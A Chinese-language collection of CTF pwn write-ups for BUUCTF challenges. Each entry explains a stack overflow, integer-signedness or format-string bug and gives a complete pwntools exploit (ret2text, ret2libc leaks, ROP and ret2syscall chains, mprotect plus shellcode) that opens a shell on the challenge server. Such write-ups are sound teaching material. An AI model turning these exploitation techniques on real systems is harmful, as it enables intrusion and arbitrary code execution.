没啥好说的,nc 连接上去之后读取flag
1 2 3
nc node4.buuoj.cn 27874 cat flag
¶ rip
¶ 知识点:栈溢出,ret2text
先用 checksec 检查一下程序 没有开启任何保护,放到 ida 中按 F5 分析伪代码 看见典型的 gets 函数导致栈溢出,gets
函数是一个危险函数。因为它不检查输入的字符串长度,而是以回车来判断结束,因此容易导致栈溢出漏洞的产生。 双击 s,可以看到偏移量为0x8-(-0xF)
,即 8+15=23。接着观察到程序已经预留一个后门函数fun
所以我们只需要覆盖返回地址为后门函数即可,fun 函数地址也可以在 ida 中观察得到:0x401186 编写exp
1 2 3 4 5
from pwn import *p = remote("node4.buuoj.cn" ,29798 ) payload = 'a' *23 + p64(0x401186 ) p.sendline(payload) p.interactive()
但是运行失败,因为远程环境是 ubuntu18,64位的程序则需要考虑堆栈平衡的问题,我们可以通过加一个 ret 指令去使其16字节对齐,寻找程序中 ret 的地址 用 ROPgadget 找到 ret 的地址为:0x401016,所以最终exp如下
1 2 3 4 5
from pwn import *p = remote("node4.buuoj.cn" ,29798 ) payload = 'a' *23 + p64(0x401016 ) +p64(0x401186 ) p.sendline(payload) p.interactive()
¶ warmup_csaw_2016
¶ 知识点:栈溢出,ret2text
首先用 checksec 检查没有任何保护,并且是64位程序,丢进 ida 中查看伪代码
1 2 3 4 5 6 7 8 9 10 11 12
__int64 __fastcall main (int a1, char **a2, char **a3) { char s[64 ]; char v5[64 ]; write(1 , "-Warm Up-\n" , 0xA uLL); write(1 , "WOW:" , 4u LL); sprintf (s, "%p\n" , sub_40060D); write(1 , s, 9u LL); write(1 , ">" , 1u LL); return gets(v5); }
典型的 gets 函数栈溢出,双击 v5 查看偏移 同时可以在 sub_40060D 函数中发现有获取flag的命令
1 2 3 4
int sub_40060D () { return system("cat flag.txt" ); }
编写exp
1 2 3 4 5
from pwn import *p = remote("node4.buuoj.cn" ,28169 ) payload = 'a' *(0x40 +8 ) + p64(0x40060d ) p.sendline(payload) p.interactive()
¶ ciscn_2019_n_1
¶ 知识点:栈溢出,覆盖变量值
用 checksec 检测是64位程序,且只开了 NX 保护,在 ida 中查看伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13
int func () { char v1[44 ]; float v2; v2 = 0.0 ; puts ("Let's guess the number." ); gets(v1); if ( v2 == 11.28125 ) return system("cat /flag" ); else return puts ("Its value should be 11.28125" ); }
如果 v2 的值等于浮点数的 11.28125,而 v1 存在栈溢出,解题思路就是通过 v1 进行栈溢出,改写 v2 的值。观察栈 可以看到 v1 在栈中的空间大小为 0x30-0x4=44 ,同时注意使用 p64 打包的时候只能打包整数,小数不可以,所以需要将 11.28125 转换为16进制的形式,在ida中也可以看到 编写exp
1 2 3 4 5
from pwn import *p = remote("node4.buuoj.cn" ,29515 ) payload = 'a' *(0x30 -0x4 ) + p64(0x41348000 ) p.sendline(payload) p.interactive()
¶ pwn1_sctf_2016
¶ 知识点:栈溢出ret2text
用 checksec 检查程序为32位,只开启了 NX 保护,丢进 ida 中查看伪代码,跟进 vuln 函数 已经很明了,虽然只限制读入32个字节数据,但可以通过 I 变成 you 实现一个长度的字节变成三个长度的字节,导致栈溢出。双击 s 可以看到 s 的栈空间为 0x3c,也就是60字节,60÷3=20,需要输入20个 I 即可填满栈空间,然后再用4个字节来覆盖ebp,加上返回地址,一共20+4=28,满足小于 32 长度的限制。点击 get_flag 即可看到该函数地址为 0x8048F0D,开始编写exp
1 2 3 4 5
from pwn import *p = remote("node4.buuoj.cn" , 27160 ) payload = 'I' *20 + 'a' *4 + p32(0x8048F0D ) p.sendline(payload) p.interactive()
¶ jarvisoj_level0
¶ 知识点:栈溢出,ret2text
checksec 检查程序为64位程序,导入 ida 查看伪代码,跟进 vulnerable_function
1 2 3 4 5 6
ssize_t vulnerable_function () { char buf[128 ]; return read(0 , buf, 0x200 uLL); }
可以看见 buf 分配的栈空间大小只有 0x80,也就是128,而read可以输入200长度数据,导致栈溢出,后门函数地址为0x400596 编写exp
1 2 3 4 5
from pwn import *p = remote("node4.buuoj.cn" , 26330 ) payload = 'a' *128 + 'a' *8 + p64(0x400596 ) p.sendline(payload) p.interactive()
¶ ciscn_2019_c_1
¶ 知识点:栈溢出,ret2libc3
相关知识可以看我的另一篇博文:https://www.wlhhlc.top/posts/54640/#无system-无-bin-sh
首先,checksec 检查程序为64位,且只开启了 NX 保护,丢进ida中观察伪代码,跟进 encrypt 函数 典型的栈溢出漏洞,双击变量s 栈空间大小为0x50,但程序中没有 system 和 sh,所以需要我们去泄露 puts 函数的真实地址,从而确定 libc 版本,进而知道其他函数的地址,因为64位传参的约定,我们还需要找 rdi 寄存器的地址
1
ROPgadget --binary pwn --only "ret|pop" | grep "rdi"
rdi寄存器地址为:0x0000000000400c83,编写exp泄露libc版本
1 2 3 4 5 6 7 8 9 10 11 12 13
from pwn import *p = remote("node4.buuoj.cn" , 25051 ) elf = ELF("./pwn" ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] start_addr = elf.sym['_start' ] rdi_addr = 0x0000000000400c83 payload_1 = 'a' *(0x50 +8 ) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start_addr) p.sendlineafter("Input your choice!" ,'1' ) p.sendlineafter("Input your Plaintext to be encrypted" ,payload_1) puts_addr = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) success(hex(puts_addr))
运行后得到 puts 函数的地址:0x7f0ee53849c0 取后三位,去这个网站查 libc 版本:https://libc.blukat.me/ 下载下来后,用 one_gadget 搜索 execve 地址,随意选一个地址 接着编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
from pwn import *p = remote("node4.buuoj.cn" , 25051 ) elf = ELF("./pwn" ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] start_addr = elf.sym['_start' ] rdi_addr = 0x0000000000400c83 payload_1 = 'a' *(0x50 +8 ) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start_addr) p.sendlineafter("Input your choice!" ,'1' ) p.sendlineafter("Input your Plaintext to be encrypted" ,payload_1) puts_addr = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) success(hex(puts_addr)) libc = puts_addr - 0x0809c0 exec_addr = libc + 0x4f322 payload_2 = 'a' *(0x50 +8 ) + p64(exec_addr) p.sendlineafter("Input your choice!" ,'1' ) p.sendlineafter("Input your Plaintext to be encrypted" ,payload_2) p.interactive()
¶ babyrop
¶ 知识点:栈溢出,ret2libc3
checksec 检查为32位程序,在ida中查看 main 函数 我们先跟进第一个函数 sub_804871F 查看 相关逻辑已经写在注释中,注意观察这里有个 strncmp 函数比较,但在比较前有一个统计长度的strlen
函数,该函数遇到\0
就会结束,所以我们可以通过传入\0
来绕过比较 接下来观察第二个函数 sub_80487D0 a1 是前面一个函数的返回值,也就是 buf 数组的第8个字符,所以这里我们只要构造大于 231 就会发生栈溢出,然后就是经典的 ret2libc3了,这里通过泄露 write 函数地址来获得函数的真实地址
接下来就是 buf 的第8个字符串具体要构造多少呢,我们需要考虑 payload 的长度,比如我的payload只需要构造大于或者等于255就行,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
from pwn import *p = remote("node4.buuoj.cn" , 27793 ) elf = ELF("./pwn" ) libc = ELF("./libc-2.23.so" ) bypass = "\0" *7 + "\255" p.sendline(bypass) write_plt = elf.plt['write' ] write_got = elf.got['write' ] main_addr = 0x8048825 payload_1 = "a" *(231 +4 ) +p32(write_plt) +p32(main_addr)+ p32(1 )+p32(write_got)+p32(8 ) p.sendlineafter("Correct\n" , payload_1) write_addr = u32(p.recvuntil("\xf7" )[-4 :].ljust(4 ,"\x00" )) success(hex(write_addr)) libc_base = write_addr - libc.sym['write' ] success(hex(libc_base)) system_addr = libc_base + libc.sym['system' ] bin_sh_addr = libc_base + libc.search('/bin/sh' ).next() p.sendline(bypass) payload_2 = 'a' *(231 +4 ) + p32(system_addr) + p32(0 ) + p32(bin_sh_addr) p.sendlineafter("Correct\n" , payload_2) p.interactive()
¶ ciscn_2019_n_8
checksec 下保护全开,ida 中查看源代码 定义的 var 是int数组类型,在内存中占4个字节,即数组中每个元素占4个字节,在下边为13也就是第14个元素的值等于17就能 getshell,exp如下
1 2 3 4 5 6
from pwn import *p = remote("node4.buuoj.cn" , 29967 ) payload = 'aaaa' *13 + p32(17 ) p.sendline(payload) p.interactive()
¶ jarvisoj_level2
¶ 知识点:栈溢出,ret2libc1
checksec 检查只开启了 NX 保护,打开 ida 查看源代码,跟进 vulnerable_function
1 2 3 4 5 6 7
ssize_t vulnerable_function () { char buf[136 ]; system("echo Input:" ); return read(0 , buf, 0x100 u); }
0x100 > 136,典型的栈溢出,并且在ida中可以看到 system 函数地址为0x08048320,字符串 /bin/sh 地址为0x0804A024,直接写exp
1 2 3 4 5 6
from pwn import *p = remote("node4.buuoj.cn" , 29257 ) payload = 'a' *(136 +4 ) + p32(0x08048320 ) + p32(1 ) + p32(0x0804A024 ) p.sendline(payload) p.interactive()
¶ get_started_3dsctf_2016
¶ 知识点:栈溢出,覆盖变量 、 ret2syscall
checksec 检查为32位程序,并且只开启 NX 保护,ida 打开发现大量函数,直接搜索 main gets 函数,典型的栈溢出,搜索后发现还有一个 get_flag 函数, 传入的两个参数满足 if 判断条件就会输出flag,我们可以使其溢出后返回地址为 get_flag 函数,再传入两个参数满足 if 条件,但注意返回的地址要为 exit 函数的地址使其正常退出,感谢前面师傅踩的坑。exp为
1 2 3 4 5 6 7
from pwn import *p = remote("node4.buuoj.cn" , 27360 ) payload = "a" *(56 ) + p32(0x80489A0 ) + p32(0x804e6a0 ) + p32(0x308cd64f ) + p32(0x195719d1 ) p.sendline(payload) p.interactive()
另一种做法是用 ret2syscall 控制程序执行系统调用获取shell,不懂的可以参考我的另一边博文:https://www.wlhhlc.top/posts/54640/#ret2syscall
不过程序里没有 /bin/sh 字符串,所以我们需要自己写入。首先我们把/bin
写入到 eax 寄存器中,然后查找了一下,发现 edx 寄存器可以利用,该地址可将 eax 的值复制给 edx 地址指向的值 接下来就是找可控地址,vmmap 查找可写的段 这里选择 0x080ea000 开始 ,开始编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14
from pwn import *p = remote("node4.buuoj.cn" , 29119 ) pop_eax = 0x080b91e6 pop_edx_ecx_ebx = 0x0806fc30 int_80 = 0x0806d7e5 move_edx_eax_ret = 0x080557ab payload_1 = "a" *(56 ) + p32(pop_eax) + '/bin' + p32(pop_edx_ecx_ebx) + p32(0x080ea000 ) + p32(0 ) + p32(0 ) + p32(move_edx_eax_ret) payload_2 = p32(pop_eax) + '/sh\x00' + p32(pop_edx_ecx_ebx) + p32(0x080ea000 +4 ) + p32(0 ) + p32(0 ) + p32(move_edx_eax_ret) payload_3 = p32(pop_eax) + p32(0xb ) + p32(pop_edx_ecx_ebx) + p32(0 ) + p32(0 ) + p32(0x080ea000 ) + p32(int_80) payload = payload_1 + payload_2 + payload_3 p.sendline(payload) p.interactive()
¶ bjdctf_2020_babystack
¶ 知识点:栈溢出,ret2text
checksec 检查为64位程序,只开启 NX 保护,ida 查看伪代码 因为 read 函数由我们的输入控制长度,所以造成栈溢出,并且有 backdoor 函数,直接写exp打了
1 2 3 4 5 6 7
from pwn import *p = remote("node4.buuoj.cn" , 26472 ) p.sendlineafter("Please input the length of your name:\n" , "50" ) payload = 'a' *(0x10 +8 ) + p64(0x4006e6 ) p.sendline(payload) p.interactive()
¶ ciscn_2019_en_2
¶ 知识点:栈溢出,ret2libc3,栈对齐
只是在前面 ciscn_2019_c_1 那题的基础上把环境改成了 ubuntu18,这个时候需要注意栈对齐的问题即可,思路和前面那题一样,就不赘述了,往上翻就可以看到,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
from pwn import *p = remote("node4.buuoj.cn" , 27840 ) elf = ELF("./pwn1" ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main_addr = elf.sym['main' ] p.sendlineafter("Input your choice!\n" , "1" ) payload_1 = "a" *(0x50 + 8 ) + p64(0x0000000000400c83 ) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter("Input your Plaintext to be encrypted\n" , payload_1) puts_addr = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) success(hex(puts_addr)) libc_base = puts_addr - 0x0809c0 system_addr = libc_base + 0x04f440 bin_sh = libc_base + 0x1b3e9a payload_2 = "a" *(0x50 + 8 ) + p64(0x00000000004006b9 ) + p64(0x0000000000400c83 ) + p64(bin_sh) + p64(system_addr) p.sendlineafter("Input your choice!\n" , "1" ) p.sendlineafter("Input your Plaintext to be encrypted\n" , payload_2) p.interactive()
¶ not_the_same_3dsctf_2016
¶ 知识点:栈溢出,ret2text
checksec 检测是32位程序,只开启了 NX 保护,丢进 ida 里是一堆函数,先找 main 函数 典型 gets 函数导致的栈溢出漏洞,然后还看见 get_secret 函数可以读取 flag 到 f14g 变量中,只是不输出 所以我们需要通过 write 函数输出 f14g 内容,exp如下
1 2 3 4 5 6 7 8 9
from pwn import *p = remote("node4.buuoj.cn" , 25149 ) write_addr = 0x0806e270 get_secret = 0x080489a0 f14g_addr = 0x080ECA2D payload = "a" *0x2d + p32(get_secret) + p32(write_addr) + p32(0 ) + p32(1 ) + p32(f14g_addr) + p32(50 ) p.sendline(payload) p.interactive()
还有另一种解法是使用 mprotect 函数
1
int mprotect (const void *start, size_t len, int prot) ;
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问
简单来说就是 mprotect 函数可以帮助我们修改某一区间的内容为可读可写可执行的权限,该函数需要三个参数,所以我们需要找一下三个 pop 和 ret 的地址 接着再找可读可写的段 这里我选取 0x080ea000 ,开始编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
from pwn import *p=remote('node4.buuoj.cn' ,29085 ) pop3_ret = 0x0806fcf0 mprotect = 0x0806ed40 bss_addr = 0x080ea000 mprotect_prot = 7 read_addr = 0x0806e200 payload_1 = 'a' *0x2d + p32(mprotect) + p32(pop3_ret) + p32(bss_addr) + p32(0x100 ) + p32(mprotect_prot) payload_2 = p32(read_addr) + p32(pop3_ret) + p32(0 ) + p32(bss_addr) + p32(0x100 ) + p32(bss_addr) p.sendline(payload_1 + payload_2) shellcode = asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()
¶ [HarekazeCTF2019]baby_rop
¶ 知识点:栈溢出,ret2libc1
64位程序,然后 ida 查看伪代码
1 2 3 4 5 6 7 8 9
int __cdecl main (int argc, const char **argv, const char **envp) { char v4[16 ]; system("echo -n \"What's your name? \"" ); __isoc99_scanf("%s" , v4); printf ("Welcome to the Pwn World, %s!\n" , v4); return 0 ; }
输入没限制长度导致栈溢出漏洞,并且 ida 里可以看到有 system 和 /bin/sh,直接编写exp
1 2 3 4 5 6 7 8
from pwn import *p=remote('node4.buuoj.cn' , 28781 ) system = 0x0000000000400490 binsh = 0x0000000000601048 payload = "a" *(0x10 +8 ) + p64(0x0000000000400683 ) + p64(binsh) + p64(system) p.sendline(payload) p.interactive()
¶ jarvisoj_level2_x64
¶ 知识点:栈溢出,ret2libc1
依然典型的栈溢出漏洞,64位程序,所以记得使用 rdi 寄存器地址
1 2 3 4 5 6 7
ssize_t vulnerable_function () { char buf[128 ]; system("echo Input:" ); return read(0 , buf, 0x200 uLL); }
直接写exp
1 2 3 4 5 6 7 8
from pwn import *p=remote('node4.buuoj.cn' , 28519 ) system = 0x00000000004004C0 binsh = 0x0000000000600A90 payload = "a" *(0x80 +8 ) + p64(0x00000000004006b3 ) + p64(binsh) + p64(system) p.sendline(payload) p.interactive()
¶ ciscn_2019_n_5
¶ 知识点:栈溢出,ret2shellcode
首先 checksec 检查程序为64位,并且没有开启任何保护 ida 查看伪代码 read 函数读取输入到 name 中,第二个读取输入则用了 gets 函数,造成栈溢出漏洞,这题可以用 retlibc3打,也可以用 ret2shellcode 打,这里我用 ret2shellcode 方便点,首先看一下 name 的地址在 bss 段上 并且 vmmap 查看该地址可写可执行 所以我们通过 read 函数写入 shellcode 到 name 中,再通过 gets 栈溢出执行 shellcode,exp如下
1 2 3 4 5 6 7 8
from pwn import *p=remote('node4.buuoj.cn' , 27304 ) shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64" ) p.sendlineafter("tell me your name\n" ,shellcode) payload = "a" *(0x20 +8 ) + p64(0x601080 ) p.sendlineafter("What do you want to say to me?\n" , payload) p.interactive()
¶ others_shellcode
额,直接 nc 连上去拿flag就可以了
¶ ciscn_2019_ne_5
¶ 知识点:栈溢出,ret2libc1
checksec 检查程序为32位,丢进 ida 分析,代码有点长,不过逻辑很容易理清 首先要输入 admin 的密码为 administrator,然后进去选项中,虽然只列了四个选项,但看代码中 case 还有个隐藏的 case4 选项,首先看第一个AddLog
函数将传参进来的 src ,也就是函数里的 a1 重新取值,其他内容没有什么好看的,直接到第四个GetFlag
函数 这里用 strcpy 进行了复制,但双击 dest 可以看见大小只有 0x48 ,小于 src 所以导致了栈溢出漏洞,接下来可以看到已经有了 system 函数,还需要参数/bin/sh
,查看字符串 发现有一个 fflush,只取sh也可以作为参数执行命令,这里地址是0x080482E6
,加上 4 就是字符串sh
的地址,即0x080482EA
,编写exp
1 2 3 4 5 6 7 8
from pwn import *p = remote("node4.buuoj.cn" , 27476 ) p.sendlineafter("Please input admin password:" ,'administrator' ) payload = 'a' *(0x48 +4 ) + p32(0x080484D0 ) + 'b' *4 + p32(0x080482EA ) p.sendlineafter("Input your operation:" ,'1' ) p.sendlineafter("Please input new log info:" ,payload) p.sendlineafter("Input your operation:" ,'4' ) p.interactive()
¶ 铁人三项(第五赛区)_2018_rop
¶ 知识点:栈溢出,ret2libc3
checksec 检查为32位程序,丢进 ida 中分析 第一个函数没有什么内容,看第二个函数 vulnerable_function 很明显的栈溢出漏洞,双击 buf 定义的 buf 栈空间大小只有 0x88,而 read 函数允许读取 0x100大小的数据,程序中没有 system 和 /bin/sh,典型的 retlibc3 ,通过泄露 write 函数获得 libc 基址,编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from pwn import *p = remote("node4.buuoj.cn" , 27632 ) elf = ELF("./pwn" ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] main_addr = elf.sym['main' ] payload_1 = 'a' *(0x88 +4 ) + p32(write_plt) + p32(main_addr) + p32(1 ) + p32(write_got) + p32(4 ) p.sendline(payload_1) write_addr = u32(p.recvuntil("\xf7" )[-4 :].ljust(4 ,"\x00" )) success(hex(write_addr)) libc_base = write_addr - 0x0e56f0 success(hex(libc_base)) system_addr = libc_base + 0x03cd10 binsh_addr = libc_base + 0x17b8cf payload_2 = 'a' *(0x88 +4 ) + p32(0x08048199 ) + p32(system_addr) + 'b' *4 + p32(binsh_addr) p.sendline(payload_2) p.interactive()
¶ bjdctf_2020_babyrop
¶ 知识点:栈溢出,ret2libc3
checksec 检查是64位程序,ida 打开 buf 栈空间为 0x20 ,而 read 允许读取 0x64 大小的数据,造成栈溢出,并且程序中没有给出 system 和 /bin/sh,需要利用 puts 函数泄露 libc 版本,并计算偏移量得到 system 和 /bin/sh 的地址。这里 libc 版本在线网站没有查到,题目提示是 ubuntu16 版本,在 buu 的资源处下载即可 编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from pwn import *p = remote("node4.buuoj.cn" , 27512 ) elf = ELF("./pwn" ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.sym['main' ] libc = ELF("./libc-2.23.so" ) payload_1 = 'a' *(0x20 +8 ) + p64(0x0000000000400733 ) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendlineafter("Pull up your sword and tell me u story!" ,payload_1) puts_addr = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) success(hex(puts_addr)) libc_base = puts_addr - libc.sym['puts' ] success(hex(libc_base)) system_addr = libc_base + libc.sym['system' ] bin_sh = libc_base + libc.search('/bin/sh' ).next() payload_2 = 'a' *(0x20 +8 ) + p64(0x0000000000400733 ) + p64(bin_sh) + p64(system_addr) p.sendlineafter("Pull up your sword and tell me u story!" ,payload_2) p.interactive()
¶ bjdctf_2020_babystack2
¶ 知识点:栈溢出,ret2text,无符号整形
checksec 检查为64位程序,ida 查看一下伪代码 首先可以获取用户输入赋值给 nbytes 变量,第一个 if 判断要求有符号整形小于10,而后面的 read 读取的大小由前面 nbytes 决定,但这里为unsigned int
,也就是无符号整形,可以绕过 可以看到无符号整形为负数的时候,会变成unsigned int
的最大值,所以我们只需要前面输入一个-1
绕过 if 判断,后面增大 read 函数的读取大小,导致栈溢出。该程序中还有个后门函数 backdoor 可以利用,大大减少了难度,直接写exp
1 2 3 4 5 6 7
from pwn import *p = remote("node4.buuoj.cn" ,26738 ) p.sendlineafter("Please input the length of your name:\n" , '-1' ) payload = 'a' *(0x10 +8 ) + p64(0x0000000000400726 ) p.sendlineafter("What's u name?\n" , payload) p.interactive()
¶ jarvisoj_fm
¶ 知识点:格式化字符串,覆盖内存
格式化字符串漏洞不懂的可以看我的另一篇博文学习:https://www.wlhhlc.top/posts/17489/
首先 checksec 检查为32位程序,并且开启了 canary 保护 用 ida 查看伪代码 可以看见存在格式化字符串漏洞,并且如果 X 的值等于4,就会直接执行system("/bin/sh");
,所以我们需要覆盖 x 的值,ida 中双击 x 可以得到地址为0x0804A02C
,接下来需要找格式化字符串在输出函数时是调用的第几个参数 可以看到输入的 aaaa 的16进制形式在第 11 位,所以直接写exp即可
1 2 3 4 5 6 7
from pwn import *p = remote("node4.buuoj.cn" ,27671 ) x_addr = 0x0804A02C payload = p32(x_addr) + "%11$n" p.sendline(payload) p.interactive()
¶ pwn2_sctf_2016
¶ 知识点:栈溢出、ret2libc3、整数溢出
checksec 检查为32位程序, ida 查看伪代码 这里的接收输入用的是自定义的函数get_n
,我们跟进这个函数观察 这里可以看到我们传进来的参数是用的无符号整形,而 return 的结果确实有符号整形,这里输入一个负数就可以造成整形溢出从而获得unsigned int
的最大值 这样就绕过刚刚 vuln 函数里面的第二个 if 对于输入长度的判断,从而造成栈溢出漏洞。这里通过泄露 printf 函数的地址去确定 libc 的真实地址,libc可以在 buuctf 平台的资源下载,构造exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
from pwn import *p = remote("node4.buuoj.cn" ,26363 ) elf = ELF("./pwn" ) libc = ELF("./libc-2.23.so" ) printf_plt = elf.plt['printf' ] printf_got = elf.got['printf' ] main_addr = elf.sym['main' ] payload_1 = 'a' *(0x2C +4 ) + p32(printf_plt) + p32(main_addr) + p32(printf_got) p.sendlineafter("How many bytes do you want me to read?" ,'-1' ) p.sendlineafter("bytes of data!\n" , payload_1) printf_addr = u32(p.recvuntil("\xf7" )[-4 :].ljust(4 ,"\x00" )) success(hex(printf_addr)) libc_base = printf_addr - libc.sym['printf' ] success(hex(libc_base)) system_addr = libc_base + libc.sym['system' ] binsh_addr = libc_base + libc.search("/bin/sh" ).next() payload_2 = 'a' *(0x2C +4 ) + p32(system_addr) + 'aaaa' + p32(binsh_addr) p.sendlineafter("How many bytes do you want me to read?" ,'-1' ) p.sendlineafter("bytes of data!\n" , payload_2) p.interactive()
¶ 等待更新
评论